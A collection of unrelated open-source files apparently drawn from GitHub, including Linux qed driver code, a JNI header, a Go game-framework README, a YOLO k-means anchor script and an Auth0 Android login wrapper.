u8 l2gre_enable = 0, ipgre_enable = 0, vxlan_enable = 0;
u8 l2geneve_enable = 0, ipgeneve_enable = 0;
if (test_bit(QED_MODE_L2GRE_TUNN, &tunn_mode))
l2gre_enable = 1;
if (test_bit(QED_MODE_IPGRE_TUNN, &tunn_mode))
ipgre_enable = 1;
if (test_bit(QED_MODE_VXLAN_TUNN, &tunn_mode))
vxlan_enable = 1;
qed_set_gre_enable(p_hwfn, p_ptt, l2gre_enable, ipgre_enable);
qed_set_vxlan_enable(p_hwfn, p_ptt, vxlan_enable);
if (test_bit(QED_MODE_L2GENEVE_TUNN, &tunn_mode))
l2geneve_enable = 1;
if (test_bit(QED_MODE_IPGENEVE_TUNN, &tunn_mode))
ipgeneve_enable = 1;
qed_set_geneve_enable(p_hwfn, p_ptt, l2geneve_enable,
ipgeneve_enable);
}
static void
qed_tunn_set_pf_start_params(struct qed_hwfn *p_hwfn,
struct qed_tunn_start_params *p_src,
struct pf_start_tunnel_config *p_tunn_cfg)
{
unsigned long tunn_mode;
enum tunnel_clss type;
if (!p_src)
return;
tunn_mode = p_src->tunn_mode;
type = qed_tunn_get_clss_type(p_src->tunn_clss_vxlan);
p_tunn_cfg->tunnel_clss_vxlan = type;
type = qed_tunn_get_clss_type(p_src->tunn_clss_l2gre);
p_tunn_cfg->tunnel_clss_l2gre = type;
type = qed_tunn_get_clss_type(p_src->tunn_clss_ipgre);
p_tunn_cfg->tunnel_clss_ipgre = type;
if (p_src->update_vxlan_udp_port) {
p_tunn_cfg->set_vxlan_udp_port_flg = 1;
p_tunn_cfg->vxlan_udp_port = cpu_to_le16(p_src->vxlan_udp_port);
}
if (test_bit(QED_MODE_L2GRE_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_l2gre = 1;
if (test_bit(QED_MODE_IPGRE_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_ipgre = 1;
if (test_bit(QED_MODE_VXLAN_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_vxlan = 1;
if (p_src->update_geneve_udp_port) {
p_tunn_cfg->set_geneve_udp_port_flg = 1;
p_tunn_cfg->geneve_udp_port =
cpu_to_le16(p_src->geneve_udp_port);
}
if (test_bit(QED_MODE_L2GENEVE_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_l2geneve = 1;
if (test_bit(QED_MODE_IPGENEVE_TUNN, &tunn_mode))
p_tunn_cfg->tx_enable_ipgeneve = 1;
type = qed_tunn_get_clss_type(p_src->tunn_clss_l2geneve);
p_tunn_cfg->tunnel_clss_l2geneve = type;
type = qed_tunn_get_clss_type(p_src->tunn_clss_ipgeneve);
p_tunn_cfg->tunnel_clss_ipgeneve = type;
}
int qed_sp_pf_start(struct qed_hwfn *p_hwfn,
struct qed_tunn_start_params *p_tunn,
enum qed_mf_mode mode, bool allow_npar_tx_switch)
{
struct pf_start_ramrod_data *p_ramrod = NULL;
u16 sb = qed_int_get_sp_sb_id(p_hwfn);
u8 sb_index = p_hwfn->p_eq->eq_sb_index;
struct qed_spq_entry *p_ent = NULL;
struct qed_sp_init_data init_data;
int rc = -EINVAL;
u8 page_cnt;
/* update initial eq producer */
qed_eq_prod_update(p_hwfn,
qed_chain_get_prod_idx(&p_hwfn->p_eq->chain));
memset(&init_data, 0, sizeof(init_data));
init_data.cid = qed_spq_get_cid(p_hwfn);
init_data.opaque_fid = p_hwfn->hw_info.opaque_fid;
init_data.comp_mode = QED_SPQ_MODE_EBLOCK;
rc = qed_sp_init_request(p_hwfn, &p_ent,
COMMON_RAMROD_PF_START,
PROTOCOLID_COMMON,
&init_data);
if (rc)
return rc;
p_ramrod = &p_ent->ramrod.pf_start;
p_ramrod->event_ring_sb_id = cpu_to_le16(sb);
p_ramrod->event_ring_sb_index = sb_index;
p_ramrod->path_id = QED_PATH_ID(p_hwfn);
p_ramrod->dont_log_ramrods = 0;
p_ramrod->log_type_mask = cpu_to_le16(0xf);
switch (mode) {
case QED_MF_DEFAULT:
case QED_MF_NPAR:
p_ramrod->mf_mode = MF_NPAR;
break;
case QED_MF_OVLAN:
p_ramrod->mf_mode = MF_OVLAN;
break;
default:
DP_NOTICE(p_hwfn, "Unsupported MF mode, init as DEFAULT\n");
p_ramrod->mf_mode = MF_NPAR;
}
p_ramrod->outer_tag = p_hwfn->hw_info.ovlan;
/* Place EQ address in RAMROD */
DMA_REGPAIR_LE(p_ramrod->event_ring_pbl_addr,
p_hwfn->p_eq->chain.pbl.p_phys_table);
page_cnt = (u8)qed_chain_get_page_cnt(&p_hwfn->p_eq->chain);
p_ramrod->event_ring_num_pages = page_cnt;
DMA_REGPAIR_LE(p_ramrod->consolid_q_pbl_addr,
p_hwfn->p_consq->chain.pbl.p_phys_table);
qed_tunn_set_pf_start_params(p_hwfn, p_tunn,
&p_ramrod->tunnel_config);
if (IS_MF_SI(p_hwfn))
p_ramrod->allow_npar_tx_switching = allow_npar_tx_switch;
switch (p_hwfn->hw_info.personality) {
case QED_PCI_ETH:
p_ramrod->personality = PERSONALITY_ETH;
break;
case QED_PCI_ISCSI:
p_ramrod->personality = PERSONALITY_ISCSI;
break;
case QED_PCI_ETH_ROCE:
p_ramrod->personality = PERSONALITY_RDMA_AND_ETH;
break;
default:
DP_NOTICE(p_hwfn, "Unkown personality %d\n",
p_hwfn->hw_info.personality);
p_ramrod->personality = PERSONALITY_ETH;
}
if (p_hwfn->cdev->p_iov_info) {
struct qed_hw_sriov_info *p_iov = p_hwfn->cdev->p_iov_info;
p_ramrod->base_vf_id = (u8) p_iov->first_vf_in_pf;
p_ramrod->num_vfs = (u8) p_iov->total_vfs;
}
p_ramrod->hsi_fp_ver.major_ver_arr[ETH_VER_KEY] = ETH_HSI_VER_MAJOR;
p_ramrod->hsi_fp_ver.minor_ver_arr[ETH_VER_KEY] = ETH_HSI_VER_MINOR;
DP_VERBOSE(p_hwfn, QED_MSG_SPQ,
"Setting event_ring_sb [id %04x index %02x], outer_tag [%d]\n",
sb, sb_index,
p_ramrod->outer_tag);
rc = qed_spq_post(p_hwfn, p_ent, NULL);
if (p_tunn) {
qed_set_hw_tunn_mode(p_hwfn, p_hwfn->p_main_ptt,
p_tunn->tunn_mode);
p_hwfn->cdev->tunn_mode = p_tunn->tunn_mode;
}
return rc;
}
int qed_sp_pf_update(struct qed_hwfn *p_hwfn)
{
struct qed_spq_entry *p_ent = NULL;
struct qed_sp_init_data init_data;
int rc = -EINVAL;
/* Get SPQ entry */
memset(&init_data, 0, sizeof(init_data));
init_data.cid = qed_spq_get_cid(p_hwfn);
init_data.opaque_fid = p_hwfn->hw_info.opaque_fid;
init_data.comp_mode = QED_SPQ_MODE_CB;
rc = qed_sp_init_request(p_hwfn, &p_ent,
COMMON_RAMROD_PF_UPDATE, PROTOCOLID_COMMON,
&init_data);
if (rc)
return rc;
qed_dcbx_set_pf_update_params(&p_hwfn->p_dcbx_info->results,
&p_ent->ramrod.pf_update);
return qed_spq_post(p_hwfn, p_ent, NULL);
}
/* Set pf update ramrod command params */
int qed_sp_pf_update_tunn_cfg(struct qed_hwfn *p_hwfn,
struct qed_tunn_update_params *p_tunn,
enum spq_mode comp_mode,
struct qed_spq_comp_cb *p_comp_data)
{
struct qed_spq_entry *p_ent = NULL;
struct qed_sp_init_data init_data;
int rc = -EINVAL;
/* Get SPQ entry */
memset(&init_data, 0, sizeof(init_data));
init_data.cid = qed_spq_get_cid(p_hwfn);
init_data.opaque_fid = p_hwfn->hw_info.opaque_fid;
init_data.comp_mode = comp_mode;
init_data.p_comp_data = p_comp_data;
rc = qed_sp_init_request(p_hwfn, &p_ent,
COMMON_RAMROD_PF_UPDATE, PROTOCOLID_COMMON,
&init_data);
if (rc)
return rc;
qed_tunn_set_pf_update_params(p_hwfn, p_tunn,
&p_ent->ramrod.pf_update.tunnel_config);
rc = qed_spq_post(p_hwfn, p_ent, NULL);
if (rc)
return rc;
if (p_tunn->update_vxlan_udp_port)
qed_set_vxlan_dest_port(p_hwfn, p_hwfn->p_main_ptt,
p_tunn->vxlan_udp_port);
if (p_tunn->update_geneve_udp_port)
qed_set_geneve_dest_port(p_hwfn, p_hwfn->p_main_ptt,
p_tunn->geneve_udp_port);
qed_set_hw_tunn_mode(p_hwfn, p_hwfn->p_main_ptt, p_tunn->tunn_mode);
p_hwfn->cdev->tunn_mode = p_tunn->tunn_mode;
return rc;
}
int qed_sp_pf_stop(struct qed_hwfn *p_hwfn)
{
struct qed_spq_entry *p_ent = NULL;
struct qed_sp_init_data init_data;
int rc = -EINVAL;
/* Get SPQ entry */
memset(&init_data, 0, sizeof(init_data));
init_data.cid = qed_spq_get_cid(p_hwfn);
init_data.opaque_fid = p_hwfn->hw_info.opaque_fid;
init_data.comp_mode = QED_SPQ_MODE_EBLOCK;
rc = qed_sp_init_request(p_hwfn, &p_ent,
COMMON_RAMROD_PF_STOP, PROTOCOLID_COMMON,
&init_data);
if (rc)
return rc;
return qed_spq_post(p_hwfn, p_ent, NULL);
}
int qed_sp_heartbeat_ramrod(struct qed_hwfn *p_hwfn)
{
struct qed_spq_entry *p_ent = NULL;
struct qed_sp_init_data init_data;
int rc;
/* Get SPQ entry */
memset(&init_data, 0, sizeof(init_data));
init_data.cid = qed_spq_get_cid(p_hwfn);
init_data.opaque_fid = p_hwfn->hw_info.opaque_fid;
init_data.comp_mode = QED_SPQ_MODE_EBLOCK;
rc = qed_sp_init_request(p_hwfn, &p_ent,
COMMON_RAMROD_EMPTY, PROTOCOLID_COMMON,
&init_data);
if (rc)
return rc;
return qed_spq_post(p_hwfn, p_ent, NULL);
}
| {
"pile_set_name": "Github"
} |
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_jpy_PyLib */
#ifndef _Included_org_jpy_PyLib
#define _Included_org_jpy_PyLib
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: org_jpy_PyLib
* Method: isPythonRunning
* Signature: ()Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_isPythonRunning
(JNIEnv *, jclass);
/*
* Class: org_jpy_PyLib
* Method: setPythonHome
* Signature: (Ljava/lang/String;)Z
*/
JNIEXPORT jint JNICALL Java_org_jpy_PyLib_setPythonHome
(JNIEnv* jenv, jclass jLibClass, jstring jPythonHome);
/*
* Class: org_jpy_PyLib
* Method: startPython0
* Signature: ([Ljava/lang/String;)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_startPython0
(JNIEnv *, jclass, jobjectArray);
/*
* Class: org_jpy_PyLib
* Method: getPythonVersion
* Signature: ()Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_org_jpy_PyLib_getPythonVersion
(JNIEnv *, jclass);
/*
* Class: org_jpy_PyLib
* Method: stopPython0
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_org_jpy_PyLib_stopPython0
(JNIEnv *, jclass);
/*
* Class: org_jpy_PyLib
* Method: execScript
* Signature: (Ljava/lang/String;)I
*/
JNIEXPORT jint JNICALL Java_org_jpy_PyLib_execScript
(JNIEnv *, jclass, jstring);
/*
* Class: org_jpy_PyLib
* Method: executeCode
* Signature: (Ljava/lang/String;ILjava/lang/Object;Ljava/lang/Object;)J
*/
JNIEXPORT jlong JNICALL Java_org_jpy_PyLib_executeCode
(JNIEnv *, jclass, jstring, jint, jobject, jobject);
/*
* Class: org_jpy_PyLib
* Method: executeScript
* Signature: (Ljava/lang/String;ILjava/lang/Object;Ljava/lang/Object;)J
*/
JNIEXPORT jlong JNICALL Java_org_jpy_PyLib_executeScript
(JNIEnv *, jclass, jstring, jint, jobject, jobject);
/*
* Class: org_jpy_PyLib
* Method: getMainGlobals
* Signature: ()Lorg/jpy/PyObject;
*/
JNIEXPORT jobject JNICALL Java_org_jpy_PyLib_getMainGlobals
(JNIEnv *, jclass);
/*
* Class: org_jpy_PyLib
* Method: copyDict
* Signature: (J)Lorg/jpy/PyObject;
*/
JNIEXPORT jobject JNICALL Java_org_jpy_PyLib_copyDict
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: incRef
* Signature: (J)V
*/
JNIEXPORT void JNICALL Java_org_jpy_PyLib_incRef
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: decRef
* Signature: (J)V
*/
JNIEXPORT void JNICALL Java_org_jpy_PyLib_decRef
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: getIntValue
* Signature: (J)I
*/
JNIEXPORT jint JNICALL Java_org_jpy_PyLib_getIntValue
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: getBooleanValue
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_getBooleanValue
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: getDoubleValue
* Signature: (J)D
*/
JNIEXPORT jdouble JNICALL Java_org_jpy_PyLib_getDoubleValue
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: getStringValue
* Signature: (J)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_org_jpy_PyLib_getStringValue
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: getObjectValue
* Signature: (J)Ljava/lang/Object;
*/
JNIEXPORT jobject JNICALL Java_org_jpy_PyLib_getObjectValue
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: isConvertible
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_isConvertible
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: pyNoneCheck
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_pyNoneCheck
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: pyDictCheck
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_pyDictCheck
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: pyListCheck
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_pyListCheck
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: pyBoolCheck
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_pyBoolCheck
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: pyIntCheck
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_pyIntCheck
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: pyLongCheck
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_pyLongCheck
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: pyFloatCheck
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_pyFloatCheck
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: pyStringCheck
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_pyStringCheck
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: pyCallableCheck
* Signature: (J)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_pyCallableCheck
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: getType
* Signature: (J)J
*/
JNIEXPORT jlong JNICALL Java_org_jpy_PyLib_getType
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: str
* Signature: (J)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_org_jpy_PyLib_str
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: repr
* Signature: (J)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_org_jpy_PyLib_repr
(JNIEnv *, jclass, jlong);
/*
* Class: org_jpy_PyLib
* Method: newDict
* Signature: ()Lorg/jpy/PyObject;
*/
JNIEXPORT jobject JNICALL Java_org_jpy_PyLib_newDict
(JNIEnv *, jclass);
/*
* Class: org_jpy_PyLib
* Method: getObjectArrayValue
* Signature: (JLjava/lang/Class;)[Ljava/lang/Object;
*/
JNIEXPORT jobjectArray JNICALL Java_org_jpy_PyLib_getObjectArrayValue
(JNIEnv *, jclass, jlong, jclass);
/*
* Class: org_jpy_PyLib
* Method: importModule
* Signature: (Ljava/lang/String;)J
*/
JNIEXPORT jlong JNICALL Java_org_jpy_PyLib_importModule
(JNIEnv *, jclass, jstring);
/*
* Class: org_jpy_PyLib
* Method: getAttributeObject
* Signature: (JLjava/lang/String;)J
*/
JNIEXPORT jlong JNICALL Java_org_jpy_PyLib_getAttributeObject
(JNIEnv *, jclass, jlong, jstring);
/*
* Class: org_jpy_PyLib
* Method: getAttributeValue
* Signature: (JLjava/lang/String;Ljava/lang/Class;)Ljava/lang/Object;
*/
JNIEXPORT jobject JNICALL Java_org_jpy_PyLib_getAttributeValue
(JNIEnv *, jclass, jlong, jstring, jclass);
/*
* Class: org_jpy_PyLib
* Method: setAttributeValue
* Signature: (JLjava/lang/String;Ljava/lang/Object;Ljava/lang/Class;)V
*/
JNIEXPORT void JNICALL Java_org_jpy_PyLib_setAttributeValue
(JNIEnv *, jclass, jlong, jstring, jobject, jclass);
/*
* Class: org_jpy_PyLib
* Method: delAttribute
* Signature: (JLjava/lang/String;)V
*/
JNIEXPORT void JNICALL Java_org_jpy_PyLib_delAttribute
(JNIEnv *, jclass, jlong, jstring);
/*
* Class: org_jpy_PyLib
* Method: hasAttribute
* Signature: (JLjava/lang/String;)Z
*/
JNIEXPORT jboolean JNICALL Java_org_jpy_PyLib_hasAttribute
(JNIEnv *, jclass, jlong, jstring);
/*
* Class: org_jpy_PyLib
* Method: callAndReturnObject
* Signature: (JZLjava/lang/String;I[Ljava/lang/Object;[Ljava/lang/Class;)J
*/
JNIEXPORT jlong JNICALL Java_org_jpy_PyLib_callAndReturnObject
(JNIEnv *, jclass, jlong, jboolean, jstring, jint, jobjectArray, jobjectArray);
/*
* Class: org_jpy_PyLib
* Method: callAndReturnValue
* Signature: (JZLjava/lang/String;I[Ljava/lang/Object;[Ljava/lang/Class;Ljava/lang/Class;)Ljava/lang/Object;
*/
JNIEXPORT jobject JNICALL Java_org_jpy_PyLib_callAndReturnValue
(JNIEnv *, jclass, jlong, jboolean, jstring, jint, jobjectArray, jobjectArray, jclass);
#ifdef __cplusplus
}
#endif
#endif
| {
"pile_set_name": "Github"
} |
// $Id$
/*global JSAN, Test */
// Set up package.
if (typeof JSAN != 'undefined') JSAN.use('Test.Builder');
else {
if (typeof Test == 'undefined' || typeof Test.Builder == 'undefined')
throw new Error(
"You must load either JSAN or Test.Builder "
+ "before loading Test.Simple"
);
}
Test.Simple = {};
Test.Simple.EXPORT = ['plan', 'ok'];
Test.Simple.EXPORT_TAGS = { ':all': Test.Simple.EXPORT };
Test.Simple.VERSION = '0.29';
Test.Simple.plan = function (cmds) {
return Test.Simple.Test.plan(cmds);
};
Test.Simple.ok = function (val, desc) {
return Test.Simple.Test.ok(val, desc);
};
// Handle exporting.
if (typeof JSAN == 'undefined') Test.Builder.exporter(Test.Simple);
Test.Simple.Test = Test.Builder.instance();
| {
"pile_set_name": "Github"
} |
# [strife](https://strife.felixangell.com) [](https://travis-ci.org/felixangell/strife)
A simple game framework that wraps around SDL2.
## example
The largest example use of the Strife framework is the [Phi text editor](//phi.felixangell.com), a text editor written entirely from scratch with syntax highlighting, a command palette, multiple buffer support, etc.
<p align="center"><img src="https://raw.githubusercontent.com/felixangell/phi/gh-pages/images/screenshot.png"></p>
Though there are some smaller examples demonstrating components of the Strife API in the `examples/` folder.
## note/disclaimer
This is a work in progress. It provides a very minimal toolset for rendering shapes, images, and text
as well as capturing user input. This is not at a production level and is mostly being worked on when the
needs of my other projects (that depend on this) evolve.
There is no documentation either! If you want to use it you will have to check out the examples. I may
get round to writing some documentation but the API is very volatile at the moment.
## installing
Simple as
$ go get github.com/felixangell/strife
Make sure you have SDL2 installed as well as the ttf and img addons:
$ brew install SDL2 SDL2_ttf SDL2_img
## getting started
This is a commented code snippet to help you get started:
```go
func main() {
// create a nice shiny window
window := strife.SetupRenderWindow(1280, 720, strife.DefaultConfig())
window.SetTitle("Hello world!")
window.SetResizable(true)
window.Create()
// this is our event handler
window.HandleEvents(func(evt strife.StrifeEvent) {
switch event := evt.(type) {
case *strife.CloseEvent:
println("closing window!")
window.Close()
case *strife.WindowResizeEvent:
println("resize to ", event.Width, "x", event.Height)
}
})
// game loop
for {
// handle the events before we do any
// rendering etc.
window.PollEvents()
// if we have a window close event
// from the previous poll, break out of
// our game loop
if window.CloseRequested() {
break
}
// rendering context stuff here
// clear and display is typical
// all your rendering code should
// go...
ctx := window.GetRenderContext()
ctx.Clear()
{
// ...in this section here
ctx.SetColor(strife.Red)
ctx.Rect(10, 10, 50, 50, strife.Fill)
// check out some other examples!
}
ctx.Display()
}
}
```
## license
[MIT](/LICENSE)
| {
"pile_set_name": "Github"
} |
/*
** Application : Functions
** name : Abdelrahman Adam
** Date : 22\12\2017
*/
#======================================================
? " Hello , World !"
x = 10 #global
func main
?" welcome to main function"
one()
func one
?x
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -fsyntax-only -verify -Wno-objc-root-class %s
// expected-no-diagnostics
@interface Tester
@property char PropertyAtomic_char;
@property short PropertyAtomic_short;
@property int PropertyAtomic_int;
@property long PropertyAtomic_long;
@property long long PropertyAtomic_longlong;
@property float PropertyAtomic_float;
@property double PropertyAtomic_double;
@property(assign) id PropertyAtomic_id;
@property(retain) id PropertyAtomicRetained_id;
@property(copy) id PropertyAtomicRetainedCopied_id;
@property(retain) id PropertyAtomicRetainedGCOnly_id;
@property(copy) id PropertyAtomicRetainedCopiedGCOnly_id;
@end
@implementation Tester
@dynamic PropertyAtomic_char;
@dynamic PropertyAtomic_short;
@dynamic PropertyAtomic_int;
@dynamic PropertyAtomic_long;
@dynamic PropertyAtomic_longlong;
@dynamic PropertyAtomic_float;
@dynamic PropertyAtomic_double;
@dynamic PropertyAtomic_id;
@dynamic PropertyAtomicRetained_id;
@dynamic PropertyAtomicRetainedCopied_id;
@dynamic PropertyAtomicRetainedGCOnly_id;
@dynamic PropertyAtomicRetainedCopiedGCOnly_id;
@end
@interface SubClass : Tester
{
char PropertyAtomic_char;
short PropertyAtomic_short;
int PropertyAtomic_int;
long PropertyAtomic_long;
long long PropertyAtomic_longlong;
float PropertyAtomic_float;
double PropertyAtomic_double;
id PropertyAtomic_id;
id PropertyAtomicRetained_id;
id PropertyAtomicRetainedCopied_id;
id PropertyAtomicRetainedGCOnly_id;
id PropertyAtomicRetainedCopiedGCOnly_id;
}
@end
@implementation SubClass
@synthesize PropertyAtomic_char;
@synthesize PropertyAtomic_short;
@synthesize PropertyAtomic_int;
@synthesize PropertyAtomic_long;
@synthesize PropertyAtomic_longlong;
@synthesize PropertyAtomic_float;
@synthesize PropertyAtomic_double;
@synthesize PropertyAtomic_id;
@synthesize PropertyAtomicRetained_id;
@synthesize PropertyAtomicRetainedCopied_id;
@synthesize PropertyAtomicRetainedGCOnly_id;
@synthesize PropertyAtomicRetainedCopiedGCOnly_id;
@end
| {
"pile_set_name": "Github"
} |
require('../../modules/es6.string.sub');
module.exports = require('../../modules/_core').String.sub; | {
"pile_set_name": "Github"
} |
# coding: utf-8
# This script is modified from https://github.com/lars76/kmeans-anchor-boxes
from __future__ import division, print_function
import numpy as np
def iou(box, clusters):
"""
Calculates the Intersection over Union (IoU) between a box and k clusters.
param:
box: tuple or array, shifted to the origin (i. e. width and height)
clusters: numpy array of shape (k, 2) where k is the number of clusters
return:
numpy array of shape (k, 0) where k is the number of clusters
"""
x = np.minimum(clusters[:, 0], box[0])
y = np.minimum(clusters[:, 1], box[1])
if np.count_nonzero(x == 0) > 0 or np.count_nonzero(y == 0) > 0:
raise ValueError("Box has no area")
intersection = x * y
box_area = box[0] * box[1]
cluster_area = clusters[:, 0] * clusters[:, 1]
iou_ = np.true_divide(intersection, box_area + cluster_area - intersection + 1e-10)
# iou_ = intersection / (box_area + cluster_area - intersection + 1e-10)
return iou_
def avg_iou(boxes, clusters):
"""
Calculates the average Intersection over Union (IoU) between a numpy array of boxes and k clusters.
param:
boxes: numpy array of shape (r, 2), where r is the number of rows
clusters: numpy array of shape (k, 2) where k is the number of clusters
return:
average IoU as a single float
"""
return np.mean([np.max(iou(boxes[i], clusters)) for i in range(boxes.shape[0])])
def translate_boxes(boxes):
"""
Translates all the boxes to the origin.
param:
boxes: numpy array of shape (r, 4)
return:
numpy array of shape (r, 2)
"""
new_boxes = boxes.copy()
for row in range(new_boxes.shape[0]):
new_boxes[row][2] = np.abs(new_boxes[row][2] - new_boxes[row][0])
new_boxes[row][3] = np.abs(new_boxes[row][3] - new_boxes[row][1])
return np.delete(new_boxes, [0, 1], axis=1)
def kmeans(boxes, k, dist=np.median):
"""
Calculates k-means clustering with the Intersection over Union (IoU) metric.
param:
boxes: numpy array of shape (r, 2), where r is the number of rows
k: number of clusters
dist: distance function
return:
numpy array of shape (k, 2)
"""
rows = boxes.shape[0]
distances = np.empty((rows, k))
last_clusters = np.zeros((rows,))
np.random.seed()
# the Forgy method will fail if the whole array contains the same rows
clusters = boxes[np.random.choice(rows, k, replace=False)]
while True:
for row in range(rows):
distances[row] = 1 - iou(boxes[row], clusters)
nearest_clusters = np.argmin(distances, axis=1)
if (last_clusters == nearest_clusters).all():
break
for cluster in range(k):
clusters[cluster] = dist(boxes[nearest_clusters == cluster], axis=0)
last_clusters = nearest_clusters
return clusters
def parse_anno(annotation_path, target_size=None):
anno = open(annotation_path, 'r')
result = []
for line in anno:
s = line.strip().split(' ')
img_w = int(float(s[2]))
img_h = int(float(s[3]))
s = s[4:]
box_cnt = len(s) // 5
for i in range(box_cnt):
x_min, y_min, x_max, y_max = float(s[i*5+1]), float(s[i*5+2]), float(s[i*5+3]), float(s[i*5+4])
width = x_max - x_min
height = y_max - y_min
assert width > 0
assert height > 0
# use letterbox resize, i.e. keep the original aspect ratio
# get k-means anchors on the resized target image size
if target_size is not None:
resize_ratio = min(target_size[0] / img_w, target_size[1] / img_h)
width *= resize_ratio
height *= resize_ratio
result.append([width, height])
# get k-means anchors on the original image size
else:
result.append([width, height])
result = np.asarray(result)
return result
def get_kmeans(anno, cluster_num=9):
anchors = kmeans(anno, cluster_num)
ave_iou = avg_iou(anno, anchors)
anchors = anchors.astype('int').tolist()
anchors = sorted(anchors, key=lambda x: x[0] * x[1])
return anchors, ave_iou
if __name__ == '__main__':
# target resize format: [width, height]
# if target_resize is speficied, the anchors are on the resized image scale
# if target_resize is set to None, the anchors are on the original image scale
target_size = [416, 416]
annotation_path = "./data/my_data/label/train.txt"
anno_result = parse_anno(annotation_path, target_size=target_size)
anchors, ave_iou = get_kmeans(anno_result, 9)
anchor_string = ''
for anchor in anchors:
anchor_string += '{},{}, '.format(anchor[0], anchor[1])
anchor_string = anchor_string[:-2]
print('anchors are:')
print(anchor_string)
print('the average iou is:')
print(ave_iou)
| {
"pile_set_name": "Github"
} |
package com.auth0.android.lock;
import android.app.Activity;
import android.content.Intent;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import com.auth0.android.lock.internal.configuration.Options;
import com.auth0.android.provider.AuthCallback;
import com.auth0.android.provider.WebAuthProvider;
import java.util.HashMap;
import java.util.Map;
/**
* The WebProvider class is an internal wrapper for calls to the WebAuthProvider static methods.
* This is only for testing purposes.
*/
class WebProvider {
private final Options options;
/**
* Creates a new instance with the given account.
*
* @param options to use in the WebAuthProvider.Builder instances.
*/
WebProvider(@NonNull Options options) {
this.options = options;
}
/**
* Configures a new instance of the WebAuthProvider.Builder and starts it.
*
* @param activity a valid Activity context
* @param connection to use in the authentication
* @param extraAuthParameters extra authentication parameters to use along with the provided in the Options instance
* @param callback to deliver the authentication result to
* @param requestCode to use in the startActivityForResult request
*/
public void start(@NonNull Activity activity, @NonNull String connection, @Nullable Map<String, Object> extraAuthParameters, @NonNull AuthCallback callback, int requestCode) {
HashMap<String, Object> parameters;
if (extraAuthParameters == null) {
parameters = options.getAuthenticationParameters();
} else {
parameters = new HashMap<>(options.getAuthenticationParameters());
parameters.putAll(extraAuthParameters);
}
//noinspection deprecation
WebAuthProvider.Builder builder = WebAuthProvider.init(options.getAccount())
.useBrowser(options.useBrowser())
.withParameters(parameters)
.withConnection(connection);
final String connectionScope = options.getConnectionsScope().get(connection);
if (connectionScope != null) {
builder.withConnectionScope(connectionScope);
}
final String scope = options.getScope();
if (scope != null) {
builder.withScope(scope);
}
final String audience = options.getAudience();
if (audience != null && options.getAccount().isOIDCConformant()) {
builder.withAudience(audience);
}
final String scheme = options.getScheme();
if (scheme != null) {
builder.withScheme(scheme);
}
//noinspection deprecation
builder.start(activity, callback, requestCode);
}
/**
* Finishes the authentication flow in the WebAuthProvider
*
* @param intent the intent received in the onNewIntent method.
* @return true if a result was expected and has a valid format, or false if not
*/
public boolean resume(Intent intent) {
return WebAuthProvider.resume(intent);
}
/**
* Finishes the authentication flow in the WebAuthProvider
*
* @param requestCode the request code received on the onActivityResult method
* @param resultCode the result code received on the onActivityResult method
* @param intent the intent received in the onActivityResult method.
* @return true if a result was expected and has a valid format, or false if not
*/
public boolean resume(int requestCode, int resultCode, Intent intent) {
//noinspection deprecation
return WebAuthProvider.resume(requestCode, resultCode, intent);
}
}
| {
"pile_set_name": "Github"
} |
/*
# This file is part of the Astrometry.net suite.
# Licensed under a 3-clause BSD style license - see LICENSE
*/
#ifndef STARXY_H
#define STARXY_H
#include "astrometry/bl.h"
#include "astrometry/an-bool.h"
